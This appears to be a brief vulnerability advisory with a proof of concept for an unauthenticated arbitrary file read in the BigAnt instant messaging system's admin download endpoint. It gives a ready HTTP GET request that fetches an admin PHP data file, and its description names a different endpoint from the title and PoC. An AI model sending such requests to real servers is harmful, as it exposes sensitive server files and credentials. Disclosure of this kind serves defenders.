大蚂蚁即时通信系统 /Admin/Public/download.html 文件读取漏洞

2026-03-09 大蚂蚁即时通信系统 PoC Public

Description

杭州九麒科技 BigAnt-Admin /Api/Update/down.html 接口存在文件读取漏洞，未经身份攻击者可通过该漏洞在服务器端任意文件读取。攻击者可以利用该漏洞读取设备上的任意文件内容，导致敏感信息泄露。

PoC

GET /Admin/Public/download.html?a=download&file=/Runtime/Data/ms_admin.php&name=README.txt HTTP/1.1

# Visit https://trap.biu.life/ to view exploit trends for this vulnerability.

Source: https://gobysec.net/updates# BigAnt Instant Messaging System /Admin/Public/download.html File Read Vulnerability

References